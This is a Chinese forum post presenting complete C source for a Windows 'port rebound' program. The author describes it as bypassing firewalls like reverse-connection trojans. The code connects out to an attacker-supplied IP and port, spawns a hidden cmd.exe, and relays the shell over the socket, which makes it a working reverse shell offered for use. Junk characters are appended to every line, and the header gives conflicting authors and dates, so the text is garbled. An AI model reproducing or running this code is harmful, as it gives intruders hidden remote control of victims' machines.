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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l\5}\9yS  
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/* ============================== n<7#?X7  
Rebound port in Windows NT M`umfw T  
By wind,2006/7 H7)(<6b,z  
===============================*/ ;w?zmj<Dm  
#include &l%#OI}OE  
#include 7/(C1II.Q  
u~?]/-.TY  
#pragma comment(lib,"wsock32.lib") $g#j,  
}rVnuRq  
void OutputShell(); t09,X  
SOCKET sClient; MC3XGnT#5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J6Mm=bO5  
c0Jf  
void main(int argc,char **argv) u=#!je  
{ C,-V>bx g  
WSADATA stWsaData; 1K,bmb xRt  
int nRet; qO>BF/)a(  
SOCKADDR_IN stSaiClient,stSaiServer; 2:i`,  
*D]/V U  
if(argc != 3) kaUH#;c>_  
{ 4 !~JNO  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;4XX8W1  
return; }?>30+42:  
} /NLpk7r[\q  
sl%B-;@I  
WSAStartup(MAKEWORD(2,2),&stWsaData); \C*?a0!:Z}  
H5/%"1Q  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -BACdX  
RKIqg4>E  
stSaiClient.sin_family = AF_INET; QsI>_<r  
stSaiClient.sin_port = htons(0); LPT5d 7K@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k$o6~u 2&  
[m!\ZK  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b#k$/A@  
{ tA@#SIw  
printf("Bind Socket Failed!\n"); -CY?~W L&  
return; t ba%L  
} X>F/0/  
y S7[=S  
stSaiServer.sin_family = AF_INET; [F+lVb  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yXrFH@3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hig^ovF  
+t/ VF(!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~mK9S^[  
{ KWy4}7a@,s  
printf("Connect Error!"); MsX`TOyO!  
return; RhbYDsG  
} ~|Gtm[9Ru  
OutputShell(); e|AJxn]  
} j4H,*fc  
CbS9fc&  
void OutputShell() |,t#Au}61  
{ ~b8U#'KD  
char szBuff[1024]; }RDhI1x[mk  
SECURITY_ATTRIBUTES stSecurityAttributes; 6P?   
OSVERSIONINFO stOsversionInfo; q(!191@C(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7Y @ &&  
STARTUPINFO stStartupInfo; athU  
char *szShell; 5@Ot@o  
PROCESS_INFORMATION stProcessInformation; !K(0)~u  
unsigned long lBytesRead; ]_|qv1K6  
vYmRW-1Zxq  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); FL0(q>$*8  
InNuK0@  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  uGc}^a2  
stSecurityAttributes.lpSecurityDescriptor = 0; 04:^<n+{  
stSecurityAttributes.bInheritHandle = TRUE; )"A+T&  
C#>c(-p>RC  
zWB>;Z}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \|DcWH1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 292e0cE  
&c ayhL/%  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  5ah]E  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o*I=6`j  
stStartupInfo.wShowWindow = SW_HIDE; 2HkP$;lED  
stStartupInfo.hStdInput = hReadPipe; mWUQF"q8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yWF DGk  
h3>/..l  
GetVersionEx(&stOsversionInfo); lkFv5^%  
5cgDHs  
switch(stOsversionInfo.dwPlatformId) =|pQA~UU#  
{ io$AGi  
case 1: GvF~h0wMt  
szShell = "command.com"; &`pd&U{S*  
break; 8>6+]]O  
default: 0j7\.aaK  
szShell = "cmd.exe"; :s$ rD  
break; 0z_e3H{P27  
} V8`t7[r  
MPT*[&\-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2m[z4V@`  
E]6;nY?  
send(sClient,szMsg,77,0); ~F+{P4%`<  
while(1) wb.47S8  
{ !m' lOz  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [[Qu|?KEa  
if(lBytesRead) =d.Z:L9d  
{ { >bw:^F  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FJp~8 x=  
send(sClient,szBuff,lBytesRead,0); d*3k]Ie%5f  
} (Pbdwzao  
else w2YfFtgD,  
{ M{3He)&  
lBytesRead=recv(sClient,szBuff,1024,0); *Jmy:C<>  
if(lBytesRead<=0) break; R4]t D|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iZwt,)(  
} UOy`N~\gh+  
} O9dIobu4  
}O<=!^Y;A  
return; *(PGL YK  
}
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